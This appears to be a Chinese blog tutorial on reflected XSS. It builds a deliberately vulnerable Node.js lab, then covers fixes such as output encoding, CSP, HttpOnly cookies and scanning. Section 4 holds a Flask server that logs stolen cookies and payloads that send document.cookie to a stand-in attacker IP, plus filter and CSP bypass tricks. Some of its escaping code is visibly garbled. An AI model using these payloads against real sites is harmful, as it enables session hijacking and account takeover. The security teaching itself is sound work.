反射型XSS漏洞实战：从原理到防御的完整攻防指南-港品优选

1. 项目概述：一次关于Web安全核心威胁的深度剖析

最近在内部安全审计和众测项目中，反射型XSS（跨站脚本攻击）依然是出现频率极高且危害巨大的漏洞。很多开发者，甚至是一些有一定经验的工程师，仍然会低估一个看似简单的未过滤输入点所能带来的连锁破坏。这个项目标题“反射型XSS漏洞实战：窃取用户Cookie并劫持账户”，精准地概括了从漏洞发现到武器化利用的完整链条。它不是纸上谈兵的理论，而是模拟攻击者视角，去理解他们如何将一个无害的输入框，变成窃取用户身份凭证、进而完全控制账户的跳板。通过这次实战拆解，我希望你能彻底明白反射型XSS的工作原理、挖掘技巧、利用手法，以及最关键的——如何从根本上防御它。无论你是负责开发、测试还是运维，理解攻击者的思维和工具，是构建有效防御的第一课。

2. 漏洞原理与攻击链深度解析

2.1 反射型XSS的核心机制：一次请求的“回音”

反射型XSS，也被称为非持久型XSS，其本质在于Web应用程序将用户输入的数据“反射”回响应页面时，没有进行正确的过滤或转义，导致浏览器将这部分输入误解为可执行的代码（通常是JavaScript）。

想象这样一个场景：一个搜索功能，你输入“安全测试”，页面顶部会显示“您搜索的关键词是：安全测试”。如果后端代码直接拼接字符串，构造出这样的HTML：<p>您搜索的关键词是：${user_input}</p>，那么当攻击者输入的不是“安全测试”，而是一段脚本<script>alert('xss')</script>时，最终的HTML就会变成<p>您搜索的关键词是：<script>alert('xss')</script></p>。浏览器在渲染这个段落时，会将其中的<script>标签识别为JavaScript代码并执行，弹出一个警告框。

这个漏洞的关键在于，恶意脚本并非存储在服务器数据库里（那是存储型XSS），而是“搭乘”一次HTTP请求（比如搜索请求、错误消息请求、URL参数）到达服务器，服务器未经处理又将其“反射”回给用户的浏览器。攻击链的完成通常需要诱骗用户点击一个精心构造的、包含恶意脚本的链接。

2.2 从弹窗到劫持：漏洞的危害升级路径

一个能弹出alert(1)的XSS漏洞点，在攻击者眼中价值有限。真正的危险在于它能做什么。其危害升级通常遵循以下路径：

信息窃取（Cookie窃取）：这是最直接和常见的利用方式。通过XSS执行JavaScript，可以访问当前页面的document.cookie对象。如果目标网站的Cookie未设置HttpOnly属性（这是一个至关重要的安全标记，我们后面会详细讲），那么JavaScript就能读取到包含用户会话标识（Session ID）的Cookie。攻击者获取这个Session ID后，就能在另一个浏览器中伪装成该用户，无需密码直接登录。
会话劫持：成功窃取Cookie后，攻击者就完成了会话劫持。他拥有了受害者在网站上的全部权限，可以进行查看私密信息、修改资料、发起交易等操作。
高级攻击：在控制用户浏览器上下文的基础上，攻击可以进一步深化：
- 键盘记录：注入的脚本可以监听页面的键盘事件，记录用户输入的密码、信用卡号等敏感信息。
- 网络钓鱼：利用XSS在原本可信的网站页面中插入一个伪造的登录框，诱骗用户输入凭证，实现“画中画”钓鱼。
- 发起CSRF攻击：利用用户已登录的状态，以用户名义发起任意请求，如转账、改密、发布内容等。
- 结合其他漏洞：与CSRF、越权等漏洞结合，扩大攻击面。

注意：这里讨论的所有技术细节仅用于安全学习、授权测试和防御建设。未经授权对任何系统进行测试或攻击都是非法行为，务必在法律和道德框架内进行。

3. 实战环境搭建与漏洞点挖掘

3.1 搭建一个脆弱的靶场环境

要理解攻击，最好的方法是亲手复现。我们可以快速搭建一个最简单的漏洞环境。这里以Node.js + Express为例，因为它足够轻量且能清晰展示问题。

首先，创建一个项目目录并初始化：

mkdir xss-lab && cd xss-lab npm init -y npm install express

然后，创建server.js文件，编写一个有漏洞的服务器：

const express = require('express'); const app = express(); const port = 3000; // 漏洞点1：搜索功能，直接反射用户输入 app.get('/search', (req, res) => { const query = req.query.q || ''; // 危险！直接将用户输入拼接进HTML，没有转义 const responseHtml = ` <html> <body> <h1>搜索结果</h1> <p>您搜索的内容是: ${query}</p> <a href="/">返回首页</a> </body> </html> `; res.send(responseHtml); }); // 漏洞点2：错误页面，同样反射URL参数 app.get('/error', (req, res) => { const msg = req.query.msg || '未知错误'; // 同样危险的拼接 res.send(`<p>错误信息: ${msg}</p>`); }); app.get('/', (req, res) => { res.send(` <html> <body> <h1>简易搜索站点（含XSS漏洞）</h1> <form action="/search" method="GET"> <input type="text" name="q" placeholder="输入搜索词..."> <button type="submit">搜索</button> </form> <p><a href="/error?msg=页面未找到">模拟错误页</a></p> </body> </html> `); }); app.listen(port, () => { console.log(`漏洞靶场运行在 http://localhost:${port}`); });

运行node server.js，访问http://localhost:3000，一个包含两个典型反射型XSS漏洞点的靶场就启动了。在搜索框输入<script>alert('XSS')</script>，点击搜索，你就会看到弹窗。这直观地展示了漏洞的存在。

3.2 系统化的漏洞挖掘方法论

在真实测试中，我们不会盲目输入<script>标签。系统化的挖掘遵循以下步骤：

参数枚举：使用工具（如Burp Suite的爬虫和Scanner，或手工）收集所有用户输入点。包括：
- URL参数（?id=123&name=foo）
- POST数据体
- HTTP头（如User-Agent,Referer，有时也会被反射）
- URL路径本身（如/user/123/profile，如果123被反射）
注入试探：在每个输入点提交一组精心设计的测试载荷（Payload），观察响应。
- 基础探测：先提交一些特殊字符，如< > " ' &，查看它们是否被原样返回、被转义（变成<等）、被过滤或引发错误。这能帮你判断上下文（是在HTML标签内、属性里、还是JavaScript代码中）。
- 上下文识别：XSS的利用方式高度依赖上下文。
  - HTML上下文：最常见。Payload如<script>alert(1)</script>，<img src=x onerror=alert(1)>。
  - 属性上下文：输入点位于HTML标签的属性值中，如<input value="USER_INPUT">。你需要先闭合引号和标签，如"><script>alert(1)</script>。
  - JavaScript上下文：输入点位于<script>标签内部或事件处理器中。需要闭合字符串和语句，如';alert(1);//。
绕过尝试：如果基础Payload被过滤或转义，就需要尝试绕过。
- 大小写混淆：<ScRiPt>alert(1)</sCrIpT>
- 标签/属性替换：用<img>,<svg>,<body onload=...>等替代<script>。用onmouseover,onerror等事件属性。
- 编码混淆：使用HTML实体编码、URL编码、JavaScript Unicode编码等。例如，<可以写成<（HTML实体）或%3c（URL编码），但要注意服务器解码和浏览器解码的顺序。
- 利用语法特性：在JavaScript上下文中，alert可以用window[‘al’+’ert’]或eval(‘al’+’ert(1)’)来构造。
验证与利用：当弹窗成功，说明存在漏洞。但这只是POC（概念验证）。下一步是构造真正的恶意Payload，验证其能否成功窃取信息（如Cookie）或执行其他操作。

4. 武器化利用：构造Cookie窃取与会话劫持Payload

4.1 搭建攻击者服务器（数据接收端）

要让被窃取的Cookie能送到攻击者手中，我们需要一个接收数据的服务器。这里用Flask快速搭建一个，因为它写起来简单。

创建一个新的目录，比如attacker-server，然后创建steal.py：

from flask import Flask, request import logging app = Flask(__name__) # 配置日志，记录所有请求细节 logging.basicConfig(filename='stolen_data.log', level=logging.INFO, format='%(asctime)s - %(message)s') @app.route('/steal') def steal_cookie(): # 从URL参数中获取被盗的Cookie和其他信息 cookie = request.args.get('c') origin = request.args.get('origin') # 来自哪个网站 ip = request.remote_addr user_agent = request.headers.get('User-Agent') log_message = f"IP: {ip} | UA: {user_agent} | From: {origin} | Cookie: {cookie}" print(f"[!] 收到数据: {log_message}") logging.info(log_message) # 返回一个1x1像素的透明GIF图片，让请求看起来像加载图片，更隐蔽 # 同时避免浏览器因404或错误而显示异常 gif_data = base64.b64decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7') return gif_data, 200, {'Content-Type': 'image/gif'} if __name__ == '__main__': app.run(host='0.0.0.0', port=9999, debug=True)

运行这个脚本，攻击者的数据接收服务器就在http://你的IP:9999/steal上监听了。你需要将“你的IP”替换成公网可访问的地址（如果是本地测试，可以用内网IP，但需要受害者和攻击者在同一网络）。

4.2 构造恶意Payload并生成攻击链接

现在，针对我们之前搭建的脆弱搜索功能，构造窃取Cookie的Payload。核心是利用JavaScript将document.cookie发送到我们的攻击服务器。

一个典型的Payload如下：

<script> var img = new Image(); img.src = 'http://攻击者IP:9999/steal?c=' + encodeURIComponent(document.cookie) + '&origin=' + encodeURIComponent(window.location.href); </script>

为了缩短并隐蔽Payload，通常会写成一行，并利用HTML事件属性：

<img src=x onerror="var i=new Image;i.src='http://攻击者IP:9999/steal?c='+encodeURIComponent(document.cookie)">

或者使用更短的<script>标签：

<script>fetch('http://攻击者IP:9999/steal?c='+document.cookie)</script>

生成攻击链接：假设靶场地址是http://vulnerable-site.com:3000/search?q=，那么完整的攻击链接就是：

http://vulnerable-site.com:3000/search?q=<script>fetch('http://攻击者IP:9999/steal?c='%2Bdocument.cookie)</script>

注意，这里将+号进行了URL编码（%2B），因为+在URL中有特殊含义。在实际操作中，你需要对整个Payload进行URL编码，以确保链接的完整性和可点击性。最终生成的链接可能看起来像这样：

http://vulnerable-site.com:3000/search?q=%3Cscript%3Efetch%28%27http%3A%2F%2F攻击者IP%3A9999%2Fsteal%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E

4.3 会话劫持实战演示

当受害者（假设已登录靶场网站）点击了上述恶意链接后：

浏览器向vulnerable-site.com发起请求，参数q中包含了恶意脚本。
服务器不加处理地将脚本反射回响应页面。
受害者的浏览器解析响应，执行了恶意脚本。
脚本读取当前页面的Cookie（假设靶场使用了名为sessionId的Cookie），并通过一个向攻击者服务器发起的图片请求（或Fetch请求），将Cookie内容作为参数发送出去。
攻击者服务器 (attacker-server) 的日志文件stolen_data.log中会记录下这条信息，包含受害者的会话Cookie。

劫持过程：攻击者从日志中复制出受害者的sessionId值。然后，他打开浏览器，访问目标网站（vulnerable-site.com），使用浏览器的开发者工具（F12）或编辑Cookie的插件，将当前网站的sessionIdCookie值修改为窃取来的那个值。刷新页面，攻击者就会发现，自己已经以受害者的身份登录了系统，无需密码，实现了完全的账户劫持。

实操心得：在实际测试中，浏览器的同源策略（CORS）和内容安全策略（CSP）可能会阻止fetch或Image对象向外部域发送请求。此时可以尝试使用<script>标签的src属性（JSONP思路），或者寻找站内可用的跳转接口（如location.href跳转到攻击者控制的子域名）。这体现了绕过防御的持续对抗。

5. 核心防御策略与安全编码实践

理解了攻击，防御就有了针对性。防御反射型XSS必须遵循“数据与代码分离”的原则，即永远不要将用户输入的数据当作代码来执行。

5.1 输出编码：根据上下文进行转义

这是最根本、最有效的防御手段。在将动态数据输出到HTML页面时，必须根据其出现的上下文进行正确的编码。

HTML内容上下文（Body）：使用HTML实体编码。
- 将<转义为<
- 将>转义为>
- 将&转义为&
- 将"转义为"
- 将'转义为'(或')
- 现代前端框架（如React, Vue, Angular）默认对所有插值进行HTML转义，这是巨大的进步。
HTML属性上下文：
- 除了上述字符，始终用引号（单引号或双引号）包裹属性值。
- 对于动态属性值，同样进行HTML实体编码。如果属性值是URL（如href,src），还需要验证协议（只允许http:，https:，禁止javascript:）。
JavaScript上下文：
- 这是最棘手的。绝对不要直接将用户输入拼接进<script>标签或事件处理器里。
- 正确的做法是：将动态数据放在HTML元素的>const escapeHtml = (unsafe) => { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); }; app.get('/search_fixed', (req, res) => { const query = req.query.q || ''; // 关键修复：在拼接前进行HTML转义 const safeQuery = escapeHtml(query); const responseHtml = ` <html><body> <h1>搜索结果（安全版）</h1> <p>您搜索的内容是: ${safeQuery}</p> </body></html> `; res.send(responseHtml); });
  现在，即使输入<script>alert(1)</script>，它也会被显示为纯文本，而不会被执行。
  5.2 实施内容安全策略（CSP）
  CSP是一个强大的深度防御策略。它通过HTTP头Content-Security-Policy告诉浏览器，只允许执行来自哪些来源的脚本、样式、图片等资源。
  一个严格的CSP头可以彻底阻止内联脚本（包括XSS Payload）的执行：
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';
```
  这个策略的含义是：
  - default-src ‘self’：默认只允许加载同源（当前域名）的资源。
  - script-src ‘self’ https://trusted.cdn.com：脚本只能来自同源或指定的可信CDN。注意，这里没有‘unsafe-inline’，这意味着禁止所有内联脚本（如<script>...</script>和onclick=...），这是防御XSS的关键。
  - object-src ‘none’：禁止<object>,<embed>,<applet>等标签，进一步减少攻击面。
  启用CSP后，即使网站存在未转义的输出，恶意脚本也无法执行，因为浏览器会拒绝执行内联的JavaScript代码。
  5.3 设置安全的Cookie属性
  对于会话管理，Cookie的安全设置至关重要：
  - HttpOnly：这是防御XSS窃取Cookie的最重要属性。设置HttpOnly后，JavaScript（通过document.cookie）将无法访问该Cookie。它只能在HTTP请求中由浏览器自动携带。会话标识符Cookie必须设置此属性。
    - 设置方式（服务器端）：Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  - Secure：要求Cookie仅通过HTTPS协议传输，防止在明文中被窃听。
  - SameSite：可以设置为Strict或Lax，能有效防御跨站请求伪造（CSRF）攻击，对于某些传递Cookie的XSS利用场景也有抑制作用。
  5.4 输入验证与净化
  虽然输出编码是底线，但输入验证作为第一道防线同样重要。验证应基于“白名单”原则，即只允许符合预期格式的数据。
  - 长度限制：防止过长的Payload。
  - 格式校验：例如，搜索框可以只允许字母、数字和少量符号，拒绝<,>等HTML元字符。邮箱、电话等字段应严格匹配其格式正则表达式。
  - 业务逻辑校验：确保输入的数据在业务逻辑范围内是合理的。
  注意：输入验证不能替代输出编码。因为数据可能在多个地方使用，验证规则也可能被绕过。输出编码是确保安全的最后且必须的步骤。
  6. 高级绕过技巧与防御对抗实录
  在实际的攻防对抗中，攻击者会不断尝试绕过防御措施。了解这些技巧，有助于我们构建更坚固的防御。
  6.1 绕过基础的HTML编码过滤
  假设网站只过滤了<script>标签，但转义做得不彻底。
  - 场景：用户输入被转义了<和>，但属性值内的引号没有被转义。
  - Payload：" onmouseover="alert(1)，当输入到类似<input value="USER_INPUT">的位置时，会变成<input value="" onmouseover="alert(1)">，成功注入事件处理器。
  - 防御：必须对所有上下文的特殊字符进行转义，包括属性值中的引号。
  6.2 利用字符编码和浏览器解析差异
  浏览器在解析HTML和JavaScript时，会进行多层解码。
  - 场景：服务端过滤了<和>，但可能忽略了其HTML实体编码形式。
  - Payload：<script>alert(1)</script>。如果服务器只做了一次转义，或者浏览器错误地解析，可能仍会被执行。更复杂的有利用UTF-7编码：+ADw-script+AD4-alert(1)+ADw-/script+AD4-（如果页面字符集设置不当）。
  - 防御：确保使用标准的字符集（如UTF-8），并在HTTP头中明确声明Content-Type: text/html; charset=UTF-8。规范化输入数据，进行统一的解码和转义。
  6.3 绕过CSP策略
  严格的CSP很难绕过，但不严格的CSP可能存在缺陷。
  - 场景1：CSP中包含了‘unsafe-inline’，则内联脚本可执行，CSP形同虚设。
  - 场景2：CSP允许script-src ‘self’，但网站存在允许用户上传文件的功能，且上传的文件可以通过同源URL访问。攻击者可以上传一个包含恶意JS的.txt或.svg文件，然后通过XSS注入一个<script src=”/uploads/evil.txt”></script>标签来执行。
  - 场景3：利用JSONP端点。如果CSP允许某个包含JSONP回调功能的可信域名，攻击者可以操控回调函数名来执行代码。
  - 防御：制定尽可能严格的CSP策略，避免使用‘unsafe-inline’和‘unsafe-eval’。仔细审核script-src中允许的源。对用户上传的内容进行严格的重命名、类型检查，并存储在非Web可执行目录，或通过单独的域名提供服务。
  6.4 基于DOM的XSS与防御
  反射型XSS的一种变种是DOM型XSS，其恶意代码的组装和执行完全发生在客户端浏览器（DOM环境），不经过服务器响应。例如：
```
// 脆弱的代码 var searchTerm = document.location.hash.substring(1); document.getElementById('result').innerHTML = "您搜索了: " + searchTerm;
```
  攻击者可以构造URL：http://example.com/page#<img src=x onerror=alert(1)>，当用户访问时，innerHTML操作会直接导致脚本执行。
  - 防御：避免使用innerHTML,outerHTML,document.write()等可以解析HTML字符串的方法来插入不可信数据。优先使用textContent或setAttribute。如果必须使用，必须对数据进行严格的上下文相关编码。使用安全的API，如DOMPurify库来净化HTML输入。
  7. 企业级防护与自动化检测方案
  对于大型项目，仅靠开发人员意识是不够的，需要体系化的防护。
  7.1 安全开发生命周期（SDL）集成
  将安全要求嵌入到软件开发的每一个阶段：
  - 需求与设计阶段：进行威胁建模，识别可能存在的XSS风险点。
  - 编码阶段：推行安全编码规范，强制使用安全的API和框架（如现代前端框架、安全的模板引擎）。提供自动化的安全编码库函数（如统一的escapeHtml函数）。
  - 测试阶段：进行自动化漏洞扫描（SAST/DAST）和人工渗透测试。
  - 部署与运维阶段：配置WAF、部署严格的CSP、监控攻击日志。
  7.2 自动化扫描与交互式测试
  - 静态应用安全测试（SAST）：在代码层面扫描，寻找可能导致XSS的危险函数调用（如不安全的字符串拼接）。工具如：SonarQube, Checkmarx, Fortify。
  - 动态应用安全测试（DAST）：对运行中的应用进行黑盒扫描，模拟攻击者发送Payload。工具如：Burp Suite Professional（带Active Scan）, Acunetix, OWASP ZAP。
  - 交互式应用安全测试（IAST）：结合SAST和DAST的优点，在应用运行时通过插桩技术检测漏洞，误报率低。工具如：Contrast Security, Seeker。
  - 模糊测试（Fuzzing）：向所有输入点发送大量畸形和恶意数据，观察应用异常。
  7.3 Web应用防火墙（WAF）的合理运用
  WAF可以作为一道临时的或补充的防线，但它不是根本解决方案。
  - 作用：基于规则库，在HTTP请求到达应用前，拦截已知的攻击模式（如包含典型XSS Payload的请求）。
  - 局限：容易被绕过（如编码混淆）。规则库需要持续更新。对未知的、变形的攻击可能无效。
  - 定位：WAF应该被视为“虚拟补丁”，在代码修复上线前提供保护，或者防御自动化扫描工具的攻击。绝不能因为有了WAF就放松安全编码。
  7.4 漏洞赏金与持续安全监控
  - 漏洞赏金计划：邀请外部安全研究员来帮助发现漏洞，建立良性的安全反馈循环。
  - 安全监控与响应：建立日志集中分析系统（如ELK Stack），监控异常的请求模式（如大量包含特殊字符的请求）。对发现的攻击尝试进行溯源分析。
  我在多次内部红蓝对抗和渗透测试项目中发现，最容易被忽略的往往是那些“非标准”的输入点，比如HTTP头、API响应中的自定义字段、以及第三方组件引入的间接输入。防御XSS是一场持久战，需要开发、测试、运维和安全团队的共同协作，从安全设计、安全编码、严格测试到运行时防护，构建起纵深防御体系。每一次对漏洞的深入实战分析，都是为了在代码落笔的那一刻，就筑起更坚固的防线。

企业官网建设流程全解析

1. 项目概述：一次关于Web安全核心威胁的深度剖析

2. 漏洞原理与攻击链深度解析

2.1 反射型XSS的核心机制：一次请求的“回音”

2.2 从弹窗到劫持：漏洞的危害升级路径

3. 实战环境搭建与漏洞点挖掘

3.1 搭建一个脆弱的靶场环境

3.2 系统化的漏洞挖掘方法论

4. 武器化利用：构造Cookie窃取与会话劫持Payload

4.1 搭建攻击者服务器（数据接收端）

4.2 构造恶意Payload并生成攻击链接

4.3 会话劫持实战演示

5. 核心防御策略与安全编码实践

5.1 输出编码：根据上下文进行转义

5.2 实施内容安全策略（CSP）

5.3 设置安全的Cookie属性

5.4 输入验证与净化

6. 高级绕过技巧与防御对抗实录

6.1 绕过基础的HTML编码过滤

6.2 利用字符编码和浏览器解析差异

6.3 绕过CSP策略

6.4 基于DOM的XSS与防御

7. 企业级防护与自动化检测方案

7.1 安全开发生命周期（SDL）集成

7.2 自动化扫描与交互式测试

7.3 Web应用防火墙（WAF）的合理运用

7.4 漏洞赏金与持续安全监控

热门文章

文章分类

标签云

需要专业的网站建设服务？

企业官网建设流程全解析

1. 项目概述：一次关于Web安全核心威胁的深度剖析

2. 漏洞原理与攻击链深度解析

2.1 反射型XSS的核心机制：一次请求的“回音”

2.2 从弹窗到劫持：漏洞的危害升级路径

3. 实战环境搭建与漏洞点挖掘

3.1 搭建一个脆弱的靶场环境

3.2 系统化的漏洞挖掘方法论

4. 武器化利用：构造Cookie窃取与会话劫持Payload

4.1 搭建攻击者服务器（数据接收端）

4.2 构造恶意Payload并生成攻击链接

4.3 会话劫持实战演示

5. 核心防御策略与安全编码实践

5.1 输出编码：根据上下文进行转义

5.2 实施内容安全策略（CSP）

5.3 设置安全的Cookie属性

5.4 输入验证与净化

6. 高级绕过技巧与防御对抗实录

6.1 绕过基础的HTML编码过滤

6.2 利用字符编码和浏览器解析差异

6.3 绕过CSP策略

6.4 基于DOM的XSS与防御

7. 企业级防护与自动化检测方案

7.1 安全开发生命周期（SDL）集成

7.2 自动化扫描与交互式测试

7.3 Web应用防火墙（WAF）的合理运用

7.4 漏洞赏金与持续安全监控

热门文章

文章分类

标签云

相关文章

Java开发基础环境搭建

免费开源Modbus调试工具终极指南：5分钟掌握工业通信调试全流程

KMR221与PIC18F57Q43实现高精度电压监测方案

需要专业的网站建设服务？